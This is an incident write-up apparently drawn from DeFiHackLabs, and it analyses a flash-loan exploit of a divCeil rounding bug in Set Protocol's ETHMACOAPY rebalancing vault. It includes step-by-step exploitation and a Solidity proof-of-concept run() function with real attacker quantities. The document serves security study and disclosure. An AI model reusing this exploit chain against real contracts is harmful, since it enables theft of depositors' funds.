# Set Protocol: actualizeFee divCeil rounding drains ETHMACOAPY vault

Permissionless actualizeFee() divCeil rounding in Set Protocol's ETHMACOAPY rebalancing vault let an attacker donate residual collateral to bump unitShares and redeem for more WETH.

- Payout: Real-world hack
- Severity: high
- Program: SetProtocol
- Analysis by: DeFiHackLabs
- Disclosed: 2026-10-06
- Write-up quality: 8/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2026-10/SetProtocolETHMACOAPY_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20261006-setprotocolethmacoapy
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:high tech:evm tech:solidity technique:chained technique:source-review vuln:accounting-error vuln:business-logic vuln:flash-loan vuln:oracle-manipulation

**Target:** RebalancingSetTokenV3 vault (ETHMACOAPY) on Ethereum
**Root cause:** actualizeFee() is permissionless and recomputes unitShares via currentSetAmount.mul(naturalUnit).divCeil(totalSupply()); divCeil rounds up, and a donation of base set into the vault backing raises currentSetAmount without minting supply, widening the rounding bump.
**Steps:**
1. Flash-borrow 116,000 WETH fee-free from Aave-v3-fork pool
2. Approve TransferProxy for WETH and base set
3. `core.issue(baseSet, 1728534698486328000000)` to mint base set
4. `core.issue(rSet, 140948713161425283000000)` at floor unitShares 12253
5. Donate residual base set: `core.deposit(baseSet, bal)` then `core.internalTransfer(baseSet, rSet, bal)`
6. Call `rSet.actualizeFee()` — zero fees but unitShares re-ceils 12253 -> 12264
7. `core.redeem(rSet, RSET_QTY)` and `core.withdraw(baseSet, vault.getOwnerBalance(...))`
8. Unwind base set to WETH, repay 116,000 WETH principal, keep ~4.048 WETH surplus
**How found:** Researcher recognized the ETHMACOAPY vault shared bytecode (extcodehash match) with a previously source-verified RebalancingSetTokenV3 vault, confirmed the divCeil rounding in calculateNewUnitShares, and observed the trace showing zero fees yet unitShares moving 12253->12264.
**Exploitation:** Attacker borrowed 116,000 WETH via zero-premium flash loan, issued base set and rebalancing set at the floor unitShares, donated residual base set into the rSet's own Vault backing to inflate currentSetAmount without minting supply, triggered permissionless actualizeFee() to re-ceil unitShares upward, then redeemed the same rSet quantity for more base set than deposited, unwound to WETH and repaid the loan atomically.
**Escalation:** Donation step widened the +1 rounding edge to +11 unitShares, and issue size scaled the absolute profit; two independent EOAs repeated the pattern two blocks apart for ~8.11 WETH total.
**Insight:** When a share-price recompute uses divCeil and is permissionless, look for a way to inflate the numerator (donate collateral into the vault's own backing) without minting supply — that converts a 1-wei rounding edge into a multi-unit share bump redeemable for profit.

## Proof of concept (copied exactly from the original report)

**Attacker contract run() with donate + actualizeFee**

```
function run() external {
        uint256 nu = rSet.naturalUnit();

        // 1. Approvals for the TransferProxy to pull components into the Vault.
        WETH.approve(transferProxy, MAX);
        baseSet.approve(transferProxy, MAX);

        // 2. Issue the base SetToken (pulls ~PRINCIPAL WETH, mints base set to this contract).
        core.issue(address(baseSet), BASE_SET_QTY);

        // 3. Issue the rebalancing set at the floor-rounded unitShares (12253), pulling base set.
        core.issue(address(rSet), RSET_QTY);

        // 4. DONATE the residual base set into the rSet's own Vault backing, minting no rSet.
        //    This raises currentSetAmount while totalSupply is unchanged, widening the ceil bump.
        donatedBaseSet = baseSet.balanceOf(address(this));
        core.deposit(address(baseSet), donatedBaseSet);
        core.internalTransfer(address(baseSet), address(rSet), donatedBaseSet);

        // 5. The bug: zero-fee actualizeFee() re-ceils unitShares upward (12253 -> 12264).
        unitSharesBefore = rSet.unitShares();
        rSet.actualizeFee();
        unitSharesAfter = rSet.unitShares();

        // 6. Redeem the rebalancing set at the inflated unitShares -> more base set than was paid in.
        core.redeem(address(rSet), RSET_QTY);
        core.withdraw(address(baseSet), vault.getOwnerBalance(address(baseSet), address(this)));
```

**Real attacker input constants (principal, quantities)**

```
uint256 internal constant PRINCIPAL = 116_000 ether; // flash-borrowed WETH, repaid in full
    uint256 internal constant BASE_SET_QTY = 1_728_534_698_486_328_000_000; // base SetToken issued
    uint256 internal constant RSET_QTY = 140_948_713_161_425_283_000_000;
```

